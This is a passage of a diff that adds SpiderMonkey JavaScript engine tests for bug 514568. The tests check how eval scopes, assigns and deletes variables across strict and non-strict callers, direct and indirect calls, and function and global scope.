+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+assertEq(resultsY.global1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+assertEq(resultsY.global3, 2);
+
+assertEq(resultsY.del, false);
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 2);
+assertEq(resultsY.global4, 2);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+assertEq(resultsY.global5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-strictcode.js b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-strictcode.js
new file mode 100644
index 0000000000..f38fc1b58e
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-normalcaller-indirect-strictcode.js
@@ -0,0 +1,210 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ var x = 2;
+ var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = ev(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = ev(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-normalcode.js b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-normalcode.js
new file mode 100644
index 0000000000..5d556458b8
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-normalcode.js
@@ -0,0 +1,212 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ "use strict";
+
+ var x = 2;
+ var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = eval(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ "use strict";
+
+ var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = eval(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-strictcode.js b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-strictcode.js
new file mode 100644
index 0000000000..a215a3ce70
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-direct-strictcode.js
@@ -0,0 +1,214 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ "use strict";
+
+ var x = 2;
+ var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = eval(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ "use strict";
+
+ var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = eval(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-normalcode.js b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-normalcode.js
new file mode 100644
index 0000000000..8b3016d2ea
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-normalcode.js
@@ -0,0 +1,212 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ "use strict";
+
+ var x = 2;
+ var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = ev(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 4);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 4);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 23);
+
+
+function testY()
+{
+ "use strict";
+
+ var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = ev(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+assertEq(resultsY.global1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+assertEq(resultsY.global3, 2);
+
+assertEq(resultsY.del, false);
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 2);
+assertEq(resultsY.global4, 2);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+assertEq(resultsY.global5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-strictcode.js b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-strictcode.js
new file mode 100644
index 0000000000..4157369bae
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-fun-strictcaller-indirect-strictcode.js
@@ -0,0 +1,214 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ "use strict";
+
+ var x = 2;
+ var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = ev(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ "use strict";
+
+ var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = ev(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 42);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+assertEq(resultsY.global3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-normalcode.js b/js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-normalcode.js
new file mode 100644
index 0000000000..cb56508527
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-normalcode.js
@@ -0,0 +1,172 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = eval(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 4);
+
+assertEq(resultsX.inner2, 7);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 23);
+
+
+var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = eval(ycode);
+
+var inner1 = f("get");
+var local1 = y;
+
+y = 8;
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+
+assertEq(resultsY.del, true);
+
+assertEq(resultsY.inner4, "ReferenceError");
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-strictcode.js b/js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-strictcode.js
new file mode 100644
index 0000000000..cede8de838
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-normalcaller-direct-strictcode.js
@@ -0,0 +1,174 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
